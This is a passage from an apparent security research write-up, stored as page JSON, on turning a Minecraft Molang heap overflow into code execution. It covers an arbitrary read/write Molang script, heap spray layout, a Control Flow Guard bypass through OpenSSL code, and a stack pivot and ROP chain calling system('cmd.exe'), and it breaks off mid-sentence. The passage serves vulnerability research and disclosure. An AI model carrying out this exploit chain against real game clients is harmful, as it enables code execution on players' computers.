recover that value from our Molang script.",{"type":24,"tag":317,"props":161670,"children":161672},{"code":161671},"                                 Entity Object       \n                                                     \n                          +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      +-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[161673],{"type":24,"tag":284,"props":161674,"children":161675},{"__ignoreMap":7},[161676],{"type":29,"value":161671},{"type":24,"tag":25,"props":161678,"children":161679},{},[161680,161681,161686,161688,161693,161695,161700,161702,161707,161709,161714,161715,161720,161722,161727],{"type":29,"value":1713},{"type":24,"tag":284,"props":161682,"children":161684},{"className":161683},[],[161685],{"type":29,"value":45865},{"type":29,"value":161687}," field inside a ",{"type":24,"tag":284,"props":161689,"children":161691},{"className":161690},[],[161692],{"type":29,"value":159328},{"type":29,"value":161694}," is at offset ",{"type":24,"tag":284,"props":161696,"children":161698},{"className":161697},[],[161699],{"type":29,"value":159589},{"type":29,"value":161701},". We already control a corrupted variable, ",{"type":24,"tag":284,"props":161703,"children":161705},{"className":161704},[],[161706],{"type":29,"value":161595},{"type":29,"value":161708},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":24,"tag":284,"props":161710,"children":161712},{"className":161711},[],[161713],{"type":29,"value":4906},{"type":29,"value":160636},{"type":24,"tag":284,"props":161716,"children":161718},{"className":161717},[],[161719],{"type":29,"value":159831},{"type":29,"value":161721}," by 2 bytes, which in turn advances ",{"type":24,"tag":284,"props":161723,"children":161725},{"className":161724},[],[161726],{"type":29,"value":161595},{"type":29,"value":161728}," by 2 bytes.",{"type":24,"tag":25,"props":161730,"children":161731},{},[161732,161734,161739,161741,161747,161748,161753,161754,161759,161761,161766],{"type":29,"value":161733},"By moving ",{"type":24,"tag":284,"props":161735,"children":161737},{"className":161736},[],[161738],{"type":29,"value":4906},{"type":29,"value":161740}," so it equals ",{"type":24,"tag":284,"props":161742,"children":161744},{"className":161743},[],[161745],{"type":29,"value":161746},"cap - 0x38",{"type":29,"value":109024},{"type":24,"tag":284,"props":161749,"children":161751},{"className":161750},[],[161752],{"type":29,"value":45865},{"type":29,"value":160636},{"type":24,"tag":284,"props":161755,"children":161757},{"className":161756},[],[161758],{"type":29,"value":161595},{"type":29,"value":161760}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":24,"tag":284,"props":161762,"children":161764},{"className":161763},[],[161765],{"type":29,"value":161666},{"type":29,"value":161767}," pointer. We can then capture that pointer with:",{"type":24,"tag":317,"props":161769,"children":161771},{"code":161770},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[161772],{"type":24,"tag":284,"props":161773,"children":161774},{"__ignoreMap":7},[161775],{"type":29,"value":161770},{"type":24,"tag":25,"props":161777,"children":161778},{},[161779,161781,161786,161788,161793,161795,161800,161802,161808],{"type":29,"value":161780},"After saving the leak, we add 27 unseen variables to advance ",{"type":24,"tag":284,"props":161782,"children":161784},{"className":161783},[],[161785],{"type":29,"value":4906},{"type":29,"value":161787}," until it equals ",{"type":24,"tag":284,"props":161789,"children":161791},{"className":161790},[],[161792],{"type":29,"value":161532},{"type":29,"value":161794},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":24,"tag":284,"props":161796,"children":161798},{"className":161797},[],[161799],{"type":29,"value":161666},{"type":29,"value":161801}," address in ",{"type":24,"tag":284,"props":161803,"children":161805},{"className":161804},[],[161806],{"type":29,"value":161807},"variable.saved_vtable_pointer",{"type":29,"value":66},{"type":24,"tag":68,"props":161810,"children":161811},{},[],{"type":24,"tag":25,"props":161813,"children":161814},{},[161815,161817,161822,161824,161830],{"type":29,"value":161816},"A Molang script that performs an arbitrary write of the value ",{"type":24,"tag":284,"props":161818,"children":161820},{"className":161819},[],[161821],{"type":29,"value":50218},{"type":29,"value":161823}," to the address ",{"type":24,"tag":284,"props":161825,"children":161827},{"className":161826},[],[161828],{"type":29,"value":161829},"vtable + 0x1000",{"type":29,"value":161831}," looks like this:",{"type":24,"tag":317,"props":161833,"children":161835},{"code":161834},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[161836],{"type":24,"tag":284,"props":161837,"children":161838},{"__ignoreMap":7},[161839],{"type":29,"value":161834},{"type":24,"tag":168,"props":161841,"children":161843},{"id":161842},"required-heap-layout",[161844],{"type":29,"value":161845},"Required Heap Layout",{"type":24,"tag":25,"props":161847,"children":161848},{},[161849],{"type":29,"value":161850},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":24,"tag":317,"props":161852,"children":161854},{"code":161853},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[161855],{"type":24,"tag":284,"props":161856,"children":161857},{"__ignoreMap":7},[161858],{"type":29,"value":161853},{"type":24,"tag":25,"props":161860,"children":161861},{},[161862,161864,161870,161872,161877,161879,161884,161886,161891,161892,161897],{"type":29,"value":161863},"The first region (",{"type":24,"tag":284,"props":161865,"children":161867},{"className":161866},[],[161868],{"type":29,"value":161869},"Heap Region 1",{"type":29,"value":161871},") contains alternating ",{"type":24,"tag":284,"props":161873,"children":161875},{"className":161874},[],[161876],{"type":29,"value":159655},{"type":29,"value":161878},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":24,"tag":284,"props":161880,"children":161882},{"className":161881},[],[161883],{"type":29,"value":159685},{"type":29,"value":161885}," pointers of ",{"type":24,"tag":284,"props":161887,"children":161889},{"className":161888},[],[161890],{"type":29,"value":159655},{"type":29,"value":1323},{"type":24,"tag":284,"props":161893,"children":161895},{"className":161894},[],[161896],{"type":29,"value":159831},{"type":29,"value":161898}," from the entity object for our main attack.",{"type":24,"tag":25,"props":161900,"children":161901},{},[161902,161904,161910,161912,161917,161919,161924,161926,161931,161933,161938],{"type":29,"value":161903},"The second region (",{"type":24,"tag":284,"props":161905,"children":161907},{"className":161906},[],[161908],{"type":29,"value":161909},"Heap Region 2",{"type":29,"value":161911},") contains interleaved ",{"type":24,"tag":284,"props":161913,"children":161915},{"className":161914},[],[161916],{"type":29,"value":159831},{"type":29,"value":161918},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":24,"tag":284,"props":161920,"children":161922},{"className":161921},[],[161923],{"type":29,"value":161666},{"type":29,"value":161925}," pointer into ",{"type":24,"tag":284,"props":161927,"children":161929},{"className":161928},[],[161930],{"type":29,"value":161595},{"type":29,"value":161932}," during our main attack. It could be any object with a ",{"type":24,"tag":284,"props":161934,"children":161936},{"className":161935},[],[161937],{"type":29,"value":161666},{"type":29,"value":161939},", but for simplicity we use the entity object.",{"type":24,"tag":25,"props":161941,"children":161942},{},[161943,161945,161951,161953,161958],{"type":29,"value":161944},"During the attack, overwriting another variable's pointer with\n",{"type":24,"tag":284,"props":161946,"children":161948},{"className":161947},[],[161949],{"type":29,"value":161950},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":29,"value":161952}," will very likely clobber the ",{"type":24,"tag":284,"props":161954,"children":161956},{"className":161955},[],[161957],{"type":29,"value":160151},{"type":29,"value":161959}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":24,"tag":25,"props":161961,"children":161962},{},[161963],{"type":29,"value":161964},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":24,"tag":25,"props":161966,"children":161967},{},[161968],{"type":29,"value":161969},"The final exploit proceeds in three stages:",{"type":24,"tag":175,"props":161971,"children":161972},{},[161973,161978,161983],{"type":24,"tag":179,"props":161974,"children":161975},{},[161976],{"type":29,"value":161977},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":24,"tag":179,"props":161979,"children":161980},{},[161981],{"type":29,"value":161982},"Perform the heap spray with signs to create the desired layout for the attack",{"type":24,"tag":179,"props":161984,"children":161985},{},[161986],{"type":29,"value":161987},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":24,"tag":168,"props":161989,"children":161991},{"id":161990},"initial-corruption-variant-lfh-heap-approach",[161992],{"type":29,"value":161993},"Initial Corruption Variant: LFH Heap Approach",{"type":24,"tag":25,"props":161995,"children":161996},{},[161997],{"type":29,"value":161998},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":24,"tag":25,"props":162000,"children":162001},{},[162002,162004,162009,162010,162016],{"type":29,"value":162003},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":24,"tag":284,"props":162005,"children":162007},{"className":162006},[],[162008],{"type":29,"value":159898},{"type":29,"value":14054},{"type":24,"tag":284,"props":162011,"children":162013},{"className":162012},[],[162014],{"type":29,"value":162015},"last_index",{"type":29,"value":162017}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":24,"tag":25,"props":162019,"children":162020},{},[162021,162023,162028,162029,162034,162036,162041,162043,162048,162050,162055,162057,162063,162064,162070,162071,162077],{"type":29,"value":162022},"The main attack can be arranged by making the resulting index point at the ",{"type":24,"tag":284,"props":162024,"children":162026},{"className":162025},[],[162027],{"type":29,"value":156851},{"type":29,"value":160636},{"type":24,"tag":284,"props":162030,"children":162032},{"className":162031},[],[162033],{"type":29,"value":159831},{"type":29,"value":162035},". From there, the script can overwrite three variable indices at offset ",{"type":24,"tag":284,"props":162037,"children":162039},{"className":162038},[],[162040],{"type":29,"value":159589},{"type":29,"value":162042}," within the ",{"type":24,"tag":284,"props":162044,"children":162046},{"className":162045},[],[162047],{"type":29,"value":159831},{"type":29,"value":162049}," by using the string type. This works because a Molang string's value is just a ",{"type":24,"tag":284,"props":162051,"children":162053},{"className":162052},[],[162054],{"type":29,"value":62356},{"type":29,"value":162056}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":24,"tag":284,"props":162058,"children":162060},{"className":162059},[],[162061],{"type":29,"value":162062},"0xfb",{"type":29,"value":2744},{"type":24,"tag":284,"props":162065,"children":162067},{"className":162066},[],[162068],{"type":29,"value":162069},"0xfc",{"type":29,"value":1323},{"type":24,"tag":284,"props":162072,"children":162074},{"className":162073},[],[162075],{"type":29,"value":162076},"0xfd",{"type":29,"value":162078}," the script would do:",{"type":24,"tag":317,"props":162080,"children":162082},{"code":162081},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[162083],{"type":24,"tag":284,"props":162084,"children":162085},{"__ignoreMap":7},[162086],{"type":29,"value":162081},{"type":24,"tag":25,"props":162088,"children":162089},{},[162090,162092,162097,162098,162104,162106,162111],{"type":29,"value":162091},"That line would write the ",{"type":24,"tag":284,"props":162093,"children":162095},{"className":162094},[],[162096],{"type":29,"value":62356},{"type":29,"value":98900},{"type":24,"tag":284,"props":162099,"children":162101},{"className":162100},[],[162102],{"type":29,"value":162103},"0x302700fb00fc00fd",{"type":29,"value":162105}," (string's FNV-1 hash) into the allocated ",{"type":24,"tag":284,"props":162107,"children":162109},{"className":162108},[],[162110],{"type":29,"value":159831},{"type":29,"value":162112}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":24,"tag":235,"props":162114,"children":162116},{"id":162115},"hijacking-execution",[162117],{"type":29,"value":162118},"Hijacking Execution",{"type":24,"tag":25,"props":162120,"children":162121},{},[162122,162124,162129,162131,162137],{"type":29,"value":162123},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":24,"tag":284,"props":162125,"children":162127},{"className":162126},[],[162128],{"type":29,"value":161666},{"type":29,"value":162130}," and function pointers in the writable ",{"type":24,"tag":284,"props":162132,"children":162134},{"className":162133},[],[162135],{"type":29,"value":162136},".data",{"type":29,"value":162138}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":24,"tag":25,"props":162140,"children":162141},{},[162142],{"type":29,"value":162143},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":24,"tag":25,"props":162145,"children":162146},{},[162147],{"type":29,"value":162148},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":24,"tag":25,"props":162150,"children":162151},{},[162152],{"type":24,"tag":11511,"props":162153,"children":162155},{"alt":57299,"src":162154},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":24,"tag":25,"props":162157,"children":162158},{},[162159,162161,162167,162169,162175,162177,162182,162184,162189,162191,162197,162199,162204,162206,162212,162214,162219],{"type":29,"value":162160},"This snippet calls a method on an object: ",{"type":24,"tag":284,"props":162162,"children":162164},{"className":162163},[],[162165],{"type":29,"value":162166},"rcx",{"type":29,"value":162168}," holds the object pointer, the first ",{"type":24,"tag":284,"props":162170,"children":162172},{"className":162171},[],[162173],{"type":29,"value":162174},"mov",{"type":29,"value":162176}," loads the object's ",{"type":24,"tag":284,"props":162178,"children":162180},{"className":162179},[],[162181],{"type":29,"value":161666},{"type":29,"value":162183}," into ",{"type":24,"tag":284,"props":162185,"children":162187},{"className":162186},[],[162188],{"type":29,"value":63496},{"type":29,"value":162190},", and the function pointer at ",{"type":24,"tag":284,"props":162192,"children":162194},{"className":162193},[],[162195],{"type":29,"value":162196},"rax + 0x8",{"type":29,"value":162198}," is read into ",{"type":24,"tag":284,"props":162200,"children":162202},{"className":162201},[],[162203],{"type":29,"value":63496},{"type":29,"value":162205},". Finally, ",{"type":24,"tag":284,"props":162207,"children":162209},{"className":162208},[],[162210],{"type":29,"value":162211},"__guard_dispatch_icall_fptr",{"type":29,"value":162213}," is called - this is the CFG dispatch function that validates ",{"type":24,"tag":284,"props":162215,"children":162217},{"className":162216},[],[162218],{"type":29,"value":63496},{"type":29,"value":162220}," as a legal call target before invoking it.",{"type":24,"tag":25,"props":162222,"children":162223},{},[162224],{"type":29,"value":162225},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":24,"tag":25,"props":162227,"children":162228},{},[162229],{"type":24,"tag":11511,"props":162230,"children":162232},{"alt":57299,"src":162231},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":24,"tag":25,"props":162234,"children":162235},{},[162236,162238,162244,162246,162252],{"type":29,"value":162237},"Here, the function pointer at ",{"type":24,"tag":284,"props":162239,"children":162241},{"className":162240},[],[162242],{"type":29,"value":162243},"vtable + 0x10",{"type":29,"value":162245}," is loaded into ",{"type":24,"tag":284,"props":162247,"children":162249},{"className":162248},[],[162250],{"type":29,"value":162251},"rdx",{"type":29,"value":162253}," and then called directly.",{"type":24,"tag":25,"props":162255,"children":162256},{},[162257],{"type":29,"value":162258},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":24,"tag":25,"props":162260,"children":162261},{},[162262,162264,162269],{"type":29,"value":162263},"So the remaining task is to locate OpenSSL function or ",{"type":24,"tag":284,"props":162265,"children":162267},{"className":162266},[],[162268],{"type":29,"value":161666},{"type":29,"value":162270}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":24,"tag":168,"props":162272,"children":162274},{"id":162273},"locating-overwrite-targets",[162275],{"type":29,"value":162276},"Locating Overwrite Targets",{"type":24,"tag":25,"props":162278,"children":162279},{},[162280,162282,162288,162289,162294,162296,162301,162303,162309],{"type":29,"value":162281},"One of the first targets we identified were the ",{"type":24,"tag":284,"props":162283,"children":162285},{"className":162284},[],[162286],{"type":29,"value":162287},"malloc",{"type":29,"value":1323},{"type":24,"tag":284,"props":162290,"children":162292},{"className":162291},[],[162293],{"type":29,"value":156899},{"type":29,"value":162295}," callbacks. These reside in the ",{"type":24,"tag":284,"props":162297,"children":162299},{"className":162298},[],[162300],{"type":29,"value":162136},{"type":29,"value":162302}," section and are invoked whenever they don’t match the expected ",{"type":24,"tag":284,"props":162304,"children":162306},{"className":162305},[],[162307],{"type":29,"value":162308},"OPENSSL_malloc/free",{"type":29,"value":138757},{"type":24,"tag":25,"props":162311,"children":162312},{},[162313],{"type":24,"tag":11511,"props":162314,"children":162316},{"alt":57299,"src":162315},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":24,"tag":25,"props":162318,"children":162319},{},[162320],{"type":29,"value":162321},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":24,"tag":25,"props":162323,"children":162324},{},[162325,162327,162333,162335,162341,162343,162348],{"type":29,"value":162326},"Later, we found another promising function: ",{"type":24,"tag":284,"props":162328,"children":162330},{"className":162329},[],[162331],{"type":29,"value":162332},"ossl_ec_key_new_method_int",{"type":29,"value":162334},". This function creates and initializes an ",{"type":24,"tag":284,"props":162336,"children":162338},{"className":162337},[],[162339],{"type":29,"value":162340},"EC_KEY",{"type":29,"value":162342}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":24,"tag":284,"props":162344,"children":162346},{"className":162345},[],[162347],{"type":29,"value":162136},{"type":29,"value":162349},") containing function pointers:",{"type":24,"tag":25,"props":162351,"children":162352},{},[162353],{"type":24,"tag":11511,"props":162354,"children":162356},{"alt":57299,"src":162355},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":24,"tag":25,"props":162358,"children":162359},{},[162360,162362,162368,162369,162375,162377,162382,162384,162390,162392,162397,162399,162404,162406,162411],{"type":29,"value":162361},"In the image above, ",{"type":24,"tag":284,"props":162363,"children":162365},{"className":162364},[],[162366],{"type":29,"value":162367},"ret->meth",{"type":29,"value":132221},{"type":24,"tag":284,"props":162370,"children":162372},{"className":162371},[],[162373],{"type":29,"value":162374},"default_ec_key_meth",{"type":29,"value":162376},", which points to a structure of function pointers located in ",{"type":24,"tag":284,"props":162378,"children":162380},{"className":162379},[],[162381],{"type":29,"value":162136},{"type":29,"value":162383},". It then calls ",{"type":24,"tag":284,"props":162385,"children":162387},{"className":162386},[],[162388],{"type":29,"value":162389},"ret->meth->init",{"type":29,"value":162391},", passing the ",{"type":24,"tag":284,"props":162393,"children":162395},{"className":162394},[],[162396],{"type":29,"value":25202},{"type":29,"value":162398}," pointer (",{"type":24,"tag":284,"props":162400,"children":162402},{"className":162401},[],[162403],{"type":29,"value":18537},{"type":29,"value":162405},"). This alone isn’t especially useful because ",{"type":24,"tag":284,"props":162407,"children":162409},{"className":162408},[],[162410],{"type":29,"value":18537},{"type":29,"value":162412}," is heap-allocated.",{"type":24,"tag":25,"props":162414,"children":162415},{},[162416,162418,162423],{"type":29,"value":162417},"But, if we look at how ",{"type":24,"tag":284,"props":162419,"children":162421},{"className":162420},[],[162422],{"type":29,"value":162389},{"type":29,"value":162424}," is invoked in the disassembly:",{"type":24,"tag":25,"props":162426,"children":162427},{},[162428],{"type":24,"tag":11511,"props":162429,"children":162431},{"alt":57299,"src":162430},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":24,"tag":25,"props":162433,"children":162434},{},[162435,162436,162441,162443,162448,162450,162455,162457,162462,162464,162469,162471,162476,162478,162483,162485,162491],{"type":29,"value":15042},{"type":24,"tag":284,"props":162437,"children":162439},{"className":162438},[],[162440],{"type":29,"value":162389},{"type":29,"value":162442}," is not ",{"type":24,"tag":284,"props":162444,"children":162446},{"className":162445},[],[162447],{"type":29,"value":61217},{"type":29,"value":162449},", it is called while ",{"type":24,"tag":284,"props":162451,"children":162453},{"className":162452},[],[162454],{"type":29,"value":63496},{"type":29,"value":162456}," still contains the value of ",{"type":24,"tag":284,"props":162458,"children":162460},{"className":162459},[],[162461],{"type":29,"value":162367},{"type":29,"value":162463}," - that is, a pointer to the structure in ",{"type":24,"tag":284,"props":162465,"children":162467},{"className":162466},[],[162468],{"type":29,"value":162136},{"type":29,"value":162470}," that we control. This is ideal, because we can overwrite ",{"type":24,"tag":284,"props":162472,"children":162474},{"className":162473},[],[162475],{"type":29,"value":162374},{"type":29,"value":162477}," with a pointer to a region in ",{"type":24,"tag":284,"props":162479,"children":162481},{"className":162480},[],[162482],{"type":29,"value":162136},{"type":29,"value":162484}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":24,"tag":284,"props":162486,"children":162488},{"className":162487},[],[162489],{"type":29,"value":162490},"mov rsp, rax; ret",{"type":29,"value":162492},"-style gadget.",{"type":24,"tag":25,"props":162494,"children":162495},{},[162496,162498,162503,162505,162510],{"type":29,"value":162497},"Although we discovered that ",{"type":24,"tag":284,"props":162499,"children":162501},{"className":162500},[],[162502],{"type":29,"value":162332},{"type":29,"value":162504}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":24,"tag":284,"props":162506,"children":162508},{"className":162507},[],[162509],{"type":29,"value":162308},{"type":29,"value":162511}," callbacks.",{"type":24,"tag":168,"props":162513,"children":162515},{"id":162514},"stack-pivot",[162516],{"type":29,"value":162517},"Stack Pivot",{"type":24,"tag":25,"props":162519,"children":162520},{},[162521,162523,162528,162530,162535,162537,162542,162544,162550],{"type":29,"value":162522},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":24,"tag":284,"props":162524,"children":162526},{"className":162525},[],[162527],{"type":29,"value":162136},{"type":29,"value":162529},", overwrite ",{"type":24,"tag":284,"props":162531,"children":162533},{"className":162532},[],[162534],{"type":29,"value":162374},{"type":29,"value":162536}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":24,"tag":284,"props":162538,"children":162540},{"className":162539},[],[162541],{"type":29,"value":162332},{"type":29,"value":162543},". This ultimately calls ",{"type":24,"tag":284,"props":162545,"children":162547},{"className":162546},[],[162548],{"type":29,"value":162549},"default_ec_key_meth->init",{"type":29,"value":162551},", which executes the pivot and begins ROP execution.",{"type":24,"tag":25,"props":162553,"children":162554},{},[162555,162557,162563,162565,162571],{"type":29,"value":162556},"We chose to overwrite the ",{"type":24,"tag":284,"props":162558,"children":162560},{"className":162559},[],[162561],{"type":29,"value":162562},"OPENSSL_free",{"type":29,"value":162564}," callback. This produces only a minor memory leak, while overwriting ",{"type":24,"tag":284,"props":162566,"children":162568},{"className":162567},[],[162569],{"type":29,"value":162570},"OPENSSL_malloc",{"type":29,"value":162572}," would require our replacement function to return a writable, unused memory region.",{"type":24,"tag":25,"props":162574,"children":162575},{},[162576,162578,162584,162585,162591,162593,162598],{"type":29,"value":162577},"For the stack pivot, we found two useful gadgets: ",{"type":24,"tag":284,"props":162579,"children":162581},{"className":162580},[],[162582],{"type":29,"value":162583},"add rsp, 0x10; pop r14; ret",{"type":29,"value":1323},{"type":24,"tag":284,"props":162586,"children":162588},{"className":162587},[],[162589],{"type":29,"value":162590},"xchg rsp, rax; ret",{"type":29,"value":162592},". The exploit writes them into ",{"type":24,"tag":284,"props":162594,"children":162596},{"className":162595},[],[162597],{"type":29,"value":162136},{"type":29,"value":162599}," like this:",{"type":24,"tag":317,"props":162601,"children":162603},{"code":162602},"      +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[162604],{"type":24,"tag":284,"props":162605,"children":162606},{"__ignoreMap":7},[162607],{"type":29,"value":162602},{"type":24,"tag":25,"props":162609,"children":162610},{},[162611,162613,162618,162620,162625,162627,162632,162634,162639,162641,162646,162648,162653,162655,162660],{"type":29,"value":162612},"The second gadget, ",{"type":24,"tag":284,"props":162614,"children":162616},{"className":162615},[],[162617],{"type":29,"value":162590},{"type":29,"value":162619},", is placed in the slot corresponding to the ",{"type":24,"tag":284,"props":162621,"children":162623},{"className":162622},[],[162624],{"type":29,"value":2106},{"type":29,"value":162626}," function pointer. As mentioned earlier, when ",{"type":24,"tag":284,"props":162628,"children":162630},{"className":162629},[],[162631],{"type":29,"value":162389},{"type":29,"value":162633}," is called, ",{"type":24,"tag":284,"props":162635,"children":162637},{"className":162636},[],[162638],{"type":29,"value":63496},{"type":29,"value":162640}," contains a pointer to ",{"type":24,"tag":284,"props":162642,"children":162644},{"className":162643},[],[162645],{"type":29,"value":162374},{"type":29,"value":162647}," - which we have overwritten and now points to our ",{"type":24,"tag":284,"props":162649,"children":162651},{"className":162650},[],[162652],{"type":29,"value":162583},{"type":29,"value":162654}," gadget in ",{"type":24,"tag":284,"props":162656,"children":162658},{"className":162657},[],[162659],{"type":29,"value":162136},{"type":29,"value":66},{"type":24,"tag":25,"props":162662,"children":162663},{},[162664,162666,162672,162674,162679,162681,162687,162689,162694,162696,162701,162703,162708,162710,162715,162717,162722,162724,162729],{"type":29,"value":162665},"When the call occurs, ",{"type":24,"tag":284,"props":162667,"children":162669},{"className":162668},[],[162670],{"type":29,"value":162671},"xchg rsp, rax",{"type":29,"value":162673}," swaps the stack pointer with this controlled pointer inside ",{"type":24,"tag":284,"props":162675,"children":162677},{"className":162676},[],[162678],{"type":29,"value":162136},{"type":29,"value":162680},", effectively moving ",{"type":24,"tag":284,"props":162682,"children":162684},{"className":162683},[],[162685],{"type":29,"value":162686},"rsp",{"type":29,"value":162688}," into our ROP region. After the ",{"type":24,"tag":284,"props":162690,"children":162692},{"className":162691},[],[162693],{"type":29,"value":18537},{"type":29,"value":162695},", execution continues at ",{"type":24,"tag":284,"props":162697,"children":162699},{"className":162698},[],[162700],{"type":29,"value":162583},{"type":29,"value":162702},", which advances ",{"type":24,"tag":284,"props":162704,"children":162706},{"className":162705},[],[162707],{"type":29,"value":162686},{"type":29,"value":162709}," by ",{"type":24,"tag":284,"props":162711,"children":162713},{"className":162712},[],[162714],{"type":29,"value":51252},{"type":29,"value":162716}," bytes, skipping over the padding and the ",{"type":24,"tag":284,"props":162718,"children":162720},{"className":162719},[],[162721],{"type":29,"value":162590},{"type":29,"value":162723}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":24,"tag":284,"props":162725,"children":162727},{"className":162726},[],[162728],{"type":29,"value":162590},{"type":29,"value":162730},") begins executing.",{"type":24,"tag":235,"props":162732,"children":162734},{"id":162733},"rop-chain",[162735],{"type":29,"value":162736},"ROP Chain",{"type":24,"tag":25,"props":162738,"children":162739},{},[162740,162742,162748,162750,162755],{"type":29,"value":162741},"For the demo, the ROP chain simply calls ",{"type":24,"tag":284,"props":162743,"children":162745},{"className":162744},[],[162746],{"type":29,"value":162747},"system(\"cmd.exe\")",{"type":29,"value":162749},". Because Minecraft does not use ",{"type":24,"tag":284,"props":162751,"children":162753},{"className":162752},[],[162754],{"type":29,"value":138479},{"type":29,"value":162756},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":24,"tag":25,"props":162758,"children":162759},{},[162760,162762,162768,162770,162776,162778,162783,162785,162791,162793,162798],{"type":29,"value":162761},"This is straightforward: the chain first calls 